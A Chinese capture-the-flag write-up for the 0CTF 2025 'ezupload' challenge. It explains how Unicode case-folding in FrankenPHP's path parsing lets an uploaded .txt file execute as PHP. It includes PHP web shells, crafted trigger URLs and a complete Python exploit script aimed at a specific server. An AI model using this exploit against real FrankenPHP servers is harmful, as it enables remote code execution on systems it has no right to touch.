ez_upload

题目信息

  • 题目名称: ezupload

  • 提示: 请查询 frankenphp 并且试图找到他如何解析 url 路径的

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}

代码功能分析:

  • action=create: 创建文件,文件名由 filename 参数指定
  • action=upload: 上传文件,但只允许 .txt 后缀的文件

环境信息

通过访问 phpinfo.php 可以发现:

  • Server API: FrankenPHP
  • PHP Version: 8.4.15
  • open_basedir: /app/public:/tmp
  • disable_functions: 包含大量危险函数,但未禁用 system

漏洞分析

参考:

1
https://lexsd6.github.io/2026/01/10/Unicode字节绕过FrankenPHP FastCGI路径拆分匹配/

0CTF 2025 – ezupload Challenge Writeup » kore.one

漏洞位于 FrankenPHP 的 CGI 路径解析逻辑中(frankenphp_src/cgi.go):

服务器需要确定 URL 路径中哪一部分对应 PHP 脚本,逻辑如下:

  1. 使用 strings.ToLower() 将路径转为小写
  2. 在小写路径中查找 .php 扩展名
  3. 使用在小写字符串中找到的索引来切片原始字符串

漏洞点:该逻辑假设 len(lower(s)) == len(s),但在 Unicode 中这并不总是成立。

字符 Ⱥ (U+023A) 大小写转换后长度变化:

  • 大写:Ⱥ (UTF-8: 0xC8 0xBA – 2 字节)
  • 小写: (UTF-8: 0xE2 0xB1 0xA5 – 3 字节)

每个 Ⱥ 字符在路径中会使小写后的字符串长度增加 1 字节。

利用原理与步骤

利用原理

构造 URL 如 .../ȺȺȺȺshell.php.txt.php

  1. 小写转换:服务器将路径转为小写,4 个 Ⱥ(8 字节)变成 4 个 (12 字节),字符串增长 4 字节
  2. 索引计算:服务器在扩展后的字符串中找到最后的 .php,假设索引为 N
  3. 切片操作:服务器将索引 N 应用到原始(较短的)字符串上。由于原始字符串短 4 字节,切片索引 N 会落在原始字符串中 .php 实际起始位置之后 4 字节处

通过精确计算 Ⱥ 字符的数量,可以强制切片操作从原始路径中截断末尾的 .php 扩展名。服务器认为它在执行 PHP 脚本(因为 URL 以 .php 结尾),但实际解析的磁盘文件路径是我们上传的 .txt 文件。

服务器将路径转为小写,4 个 Ⱥ(8 字节)变成 4 个 (12 字节),字符串增长 4 字节,导致 .php 这四个字节溢出,ȺȺȺȺshell.php.txt.php 被解析为 ȺȺȺȺshell.php.txt 从而导致RCE

利用步骤

  1. 上传 Web Shell

    • 上传文件名:ȺȺȺȺshell.php.txt
    • 文件内容:
      1
      <?php system($_GET['cmd']); ?>
  2. 创建触发文件

    • 访问 URL 创建文件:?action=create&filename=ȺȺȺȺshell.php.txt.php
  3. 触发 RCE

    • 访问 URL:/ȺȺȺȺshell.php.txt.php?cmd=ls
    • URL 编码后:/%C8%BA%C8%BA%C8%BA%C8%BAshell.php.txt.php?cmd=ls
  4. 获取 Flag

    • 虽然 disable_functions 禁用了大量危险函数,但未禁用 system 函数,可以直接执行系统命令获取 flag:
    • /ȺȺȺȺshell.php.txt.php?cmd=cat /flag

总结

本题利用了 FrankenPHP 在处理 Unicode 字符时的 case-folding 漏洞。通过构造包含特殊 Unicode 字符(Ⱥ)的文件名,利用大小写转换后字符串长度不一致的特性,绕过了文件扩展名限制,成功将 .txt 文件作为 PHP 执行,最终实现 RCE 并获取 flag。

关键点

  1. FrankenPHP 的 CGI 路径解析存在 Unicode case-folding 漏洞
  2. 字符 Ⱥ (U+023A) 大小写转换后 UTF-8 编码长度不同
  3. 利用该特性可以绕过 .txt 扩展名限制
  4. system 函数未被禁用,可直接执行系统命令

利用脚本

以下是自动化利用该漏洞的 Python 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
import urllib.parse
import time

base_url = "http://122.51.209.95:33965/"


def exploit(k_count):
print(f"Trying with {k_count} Ⱥ characters...")

unicode_char = "\u023A"
filename = (unicode_char * k_count) + "shell.php.txt"

files = {
'file': (filename, '<?php eval($_GET["c"]); ?>')
}

print(f"Uploading {filename}...")
try:
r = requests.post(base_url + "?action=upload", files=files)
print(r.text)
except Exception as e:
print(f"Upload failed: {e}")
return None

# Construct URL
# We need to URL encode the filename.
exploit_path = urllib.parse.quote(filename) + ".php"
exploit_url = base_url + exploit_path

print(f"Exploit URL: {exploit_url}")

try:
r = requests.post(base_url + "?action=create&filename=ȺȺȺȺshell.php.txt.php", files=files)
print(r.text)
except Exception as e:
print(f"Create failed: {e}")
return None

# Check if it works
try:
r = requests.get(exploit_url, params={'c': 'echo "SUCCESS";'})
if "SUCCESS" in r.text:
print("RCE Successful!")
return exploit_url
else:
print("RCE Failed.")
# print(r.text[:200])
except Exception as e:
print(f"Request failed: {e}")
return None


# Try K=4 (based on previous success)
url = exploit(4)

if url:
# List root directory
print("Listing root directory...")
r = requests.get(url, params={'c': 'system("ls -la /");'})
print(f"Ls response: {r.text}")

# Read flag
print("Reading flag...")
r = requests.get(url, params={'c': 'system("/readflag");'})
print(r.text)

脚本使用说明

  1. 设置 base_url 为目标网站的 URL
  2. 运行脚本,它会自动:
    • 上传包含 Web Shell 的文件 ȺȺȺȺshell.php.txt
    • 构造利用 URL
    • 创建触发文件 ȺȺȺȺshell.php.txt.php
    • 检查 RCE 是否成功
    • 列出根目录文件
    • 执行 /readflag 获取 flag

脚本特点

  • 自动处理 Unicode 字符的 URL 编码
  • 包含错误处理和详细的执行过程输出
  • 严格按照题目要求的步骤执行操作
  • 提供完整的从上传到获取 flag 的自动化流程